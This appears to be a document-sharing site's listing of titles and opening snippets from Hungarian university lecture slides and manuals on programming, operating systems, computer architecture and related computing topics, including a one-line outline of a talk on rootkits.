Bonyolultságelmélet Monday 26 th September, 2016, 18:50 A kiszámítás modelljei 2 De milyen architektúrán polinom? A kiszámításnak számos (matematikai) modellje létezik: Általános rekurzív függvények λ-kalkulus
Operációs rendszerek. 10. gyakorlat. AWK - bevezetés UNIVERSITAS SCIENTIARUM SZEGEDIENSIS UNIVERSITY OF SZEGED
UNIVERSITAS SCIENTIARUM SZEGEDIENSIS UNIVERSITY OF SZEGED AWK - bevezetés Operációs rendszerek 10. gyakorlat Szegedi Tudományegyetem Természettudományi és Informatikai Kar Csuvik Viktor 1 / 15 Reguláris
Mintavételezés tanulmányozása. AD - konverzió. Soros kommunikáció
Mintavételezés tanulmányozása. AD - konverzió. Soros kommunikáció A gyakorlat célja A gyakorlat során a dspic30f6010 digitális jelprocesszor Analóg Digital konverterét tanulmányozzuk. A mintavételezett
GPRS Remote. GPRS alapú android applikáció távvezérléshez. Kezelési útmutató
GPRS Remote GPRS alapú android applikáció távvezérléshez Kezelési útmutató Tartalomjegyzék Általános leírás... 1 Új modul beállítás... 2 Új okostelefon beállítás... 2 Modulok karbantartása... 3 Okostelefonok
Műveletek makrókkal. Makró futtatása párbeszédpanelről. A Színezés makró futtatása a Makró párbeszédpanelről
Műveletek makrókkal A munkafüzettel együtt tárolt, minden munkalapon elérhető makrót a Fejlesztőeszközök szalag Makrók párbeszédpanelje segítségével nyithatjuk meg, innen végezhetjük el a makrókkal megoldandó
Programozás alapjai. (GKxB_INTM023) Dr. Hatwágner F. Miklós augusztus 29. Széchenyi István Egyetem, Gy r
Programozás alapjai (GKxB_INTM023) Széchenyi István Egyetem, Gy r 2019. augusztus 29. Feladat: írjuk ki az els 10 természetes szám négyzetét! #i n c l u d e i n t main ( v o i d ) { p r
Hardverközeli programozás 1 1. gyakorlat. Kocsis Gergely 2015.02.17.
Hardverközeli programozás 1 1. gyakorlat Kocsis Gergely 2015.02.17. Információk Kocsis Gergely http://irh.inf.unideb.hu/user/kocsisg 2 zh + 1 javító (a gyengébbikre) A zh sikeres, ha az elért eredmény
Rekurzió. Dr. Iványi Péter
Rekurzió Dr. Iványi Péter 1 Függvényhívás void f3(int a3) { printf( %d,a3); } void f2(int a2) { f3(a2); a2 = (a2+1); } void f1() { int a1 = 1; int b1; b1 = f2(a1); } 2 Függvényhívás void f3(int a3) { printf(
Programozási technikák Pál László. Sapientia EMTE, Csíkszereda, 2009/2010
Programozási technikák Pál László Sapientia EMTE, Csíkszereda, 2009/2010 12. ELŐADÁS Adatbázis-kezelés Delphiben 2 Adatmegjelenítés lekérdezés segítségével A táblákhoz hasonlóan a lekérdezések is az adatbázis
OPERÁCIÓS RENDSZEREK. Elmélet
1. OPERÁCIÓS RENDSZEREK Elmélet BEVEZETÉS 2 Az operációs rendszer fogalma Az operációs rendszerek feladatai Csoportosítás BEVEZETÉS 1. A tantárgy tananyag tartalma 2. Operációs rendszerek régen és most
Számítógépek felépítése
Számítógépek felépítése Emil Vatai 2014-2015 Emil Vatai Számítógépek felépítése 2014-2015 1 / 14 Outline 1 Alap fogalmak Bit, Byte, Word 2 Számítógép részei A processzor részei Processzor architektúrák
Az operációs rendszer szerkezete, szolgáltatásai
Az operációs rendszer szerkezete, szolgáltatásai Felhasználói programok Rendszerhívások Válaszok Kernel Eszközkezelők Megszakításvezérlés Perifériák Az operációs rendszer szerkezete, szolgáltatásai Felhasználói
Az ActiveX beállítása
Az ActiveX beállítása Windows XP, Vista és Windows 7 operációs rendszeren 1(9) 1. Tartalomjegyzék 1. Tartalomjegyzék... 2 2. Bevezető... 3 3. Operációs rendszer követelmények... 3 4. Az ActiveX-ről...
Máté: Assembly programozás
Dr. Máté Eörs docens Képfeldolgozás és Számítógépes Grafika Tanszék Árpád tér 2. II. em. 213 6196, 54-6196 (6396, 54-6396) http://www.inf.u-szeged.hu/~mate Tantárgy leírás: http://www.inf.u-szeged.hu/oktatas/kurzusleirasok/
Járműfedélzeti rendszerek I. 3. előadás Dr. Bécsi Tamás
Járműfedélzeti rendszerek I. 3. előadás Dr. Bécsi Tamás ATmega128 CPU Single-level pipelining Egyciklusú ALU működés Reg. reg., reg. konst. közötti műveletek 32 x 8 bit általános célú regiszter Egyciklusú
Informatika 1 2. el adás: Absztrakt számítógépek
Informatika 1 2. el adás: Budapesti M szaki és Gazdaságtudományi Egyetem 2015-09-08 1 2 3 A egy M = Q, Γ, b, Σ, δ, q 0, F hetes, ahol Q az 'állapotok' nem üres halmaza, Γ a 'szalag ábécé' véges, nem üres
Osztott jáva programok automatikus tesztelése. Matkó Imre BBTE, Kolozsvár Informatika szak, IV. Év 2007 január
Osztott jáva programok automatikus tesztelése Matkó Imre BBTE, Kolozsvár Informatika szak, IV. Év 2007 január Osztott alkalmazások Automatikus tesztelés Tesztelés heurisztikus zaj keltés Tesztelés genetikus
JOGSISZOFT TESZTLAPNYOMTATÓ PROGRAM. A program az egyszer elkészített teszt feladatokat eltárolja, így azok később is kinyomtathatóak.
JOGSISZOFT TESZTLAPNYOMTATÓ PROGRAM Használati utasítás A program segítségével korlátlan számú hagyományos B kategóriás tesztlap nyomtatható, valamint 2345 kérdésből tetszőleges összeállítású tematikus
Máté: Számítógép architektúrák 2010.12.01.
Máté: Számítógép architektúrák... A feltételes ugró utasítások eldugaszolják a csővezetéket Feltételes végrehajtás (5.5 5. ábra): Feltételes végrehajtás Predikáció ió C pr. rész Általános assembly Feltételes
Rootkitek. Előadó: Barta Csaba
Rootkitek Előadó: Barta Csaba Rövid tartalom Definíció Rootkitek rövid története Felhasználói és kernel mód Megoldandó problémák Driver betöltés Verziófüggőség Programhiba, debuggolás Technikák DKOM Hooking,
Mérési utasítás Mikrokontroller programozás 2.sz. mérés
Mérési utasítás Mikrokontroller programozás 2.sz. mérés Szükséges ismeretanyag: - IBM PC kezelése, szövegszerkesztés, Double Commander - SB80C515 mikrokontroller felépítése, utasításai - HyperTerminál
Orvosi készülékekben használható modern fejlesztési technológiák lehetőségeinek vizsgálata
Kutatási beszámoló a Pro Progressio Alapítvány számára Budapesti Műszaki és Gazdaságtudományi Egyetem Villamosmérnöki és Informatikai Kar Mérnök informatika szak Orvosi készülékekben használható modern
Térinformatikai algoritmusok Elemi algoritmusok
Cserép Máté 2016. szeptember 14. Analóg programozásnak nevezzük azt, amikor egy feladat megoldásához egy már ismert és megoldott feladat megoldását használjuk fel. Általában nem pontosan ugyanazt a feladatot
Máté: Számítógép architektúrák
Máté: Számítógép architektúrák 211117 Utasításrendszer architektúra szintje ISA) Amit a fordító program készítőjének tudnia kell: memóriamodell, regiszterek, adattípusok, ok A hardver és szoftver határán
Assembly programozás levelező tagozat
Assembly programozás levelező tagozat Szegedi Tudományegyetem Képfeldolgozás és Számítógépes Grafika Tanszék 2011-2012-2 Tematika Assembly nyelvi szint. Az Intel 8086/88 regiszter készlete, társzervezése,
Hatékony memóriakezelési technikák. Smidla József Operációkutatási Laboratórium január 16.
Hatékony memóriakezelési technikák Smidla József Operációkutatási Laboratórium 2014. január 16. 1 Tartalom A cache áthidalása Cache optimalizálás Adatszerkezetek tervezése A programkód szerkezete Prefetch
Programozás I gyakorlat. 10. Stringek, mutatók
Programozás I gyakorlat 10. Stringek, mutatók Karakter típus A char típusú változókat karakerként is kiírhatjuk: #include char c = 'A'; printf("%c\n", c); c = 80; printf("%c\n", c); printf("%c\n",
C programozás. { Márton Gyöngyvér, 2009 } { Sapientia, Erdélyi Magyar Tudományegyetem } http://www.ms.sapientia.ro/~mgyongyi
C programozás Márton Gyöngyvér, 2009 Sapientia, Erdélyi Magyar Tudományegyetem http://www.ms.sapientia.ro/~mgyongyi 1 Könyvészet Kátai Z.: Programozás C nyelven Brian W. Kernighan, D.M. Ritchie: A C programozási
A C programozási nyelv III. Pointerek és tömbök.
A C programozási nyelv III. Pointerek és tömbök. Miskolci Egyetem Általános Informatikai Tanszék A C programozási nyelv III. (Pointerek, tömbök) CBEV3 / 1 Mutató (pointer) fogalma A mutató olyan változó,
Utasításfajták Memóriacímzés Architektúrák Végrehajtás Esettanulmányok. 2. előadás. Kitlei Róbert november 28.
2. előadás Kitlei Róbert 2008. november 28. 1 / 21 Adatmozgató irányai regiszter és memória között konstans betöltése regiszterbe vagy memóriába memóriából memóriába közvetlenül másoló utasítás nincsen
Számítógépes döntéstámogatás. Genetikus algoritmusok
BLSZM-10 p. 1/18 Számítógépes döntéstámogatás Genetikus algoritmusok Werner Ágnes Villamosmérnöki és Információs Rendszerek Tanszék e-mail: werner.agnes@virt.uni-pannon.hu BLSZM-10 p. 2/18 Bevezetés 1950-60-as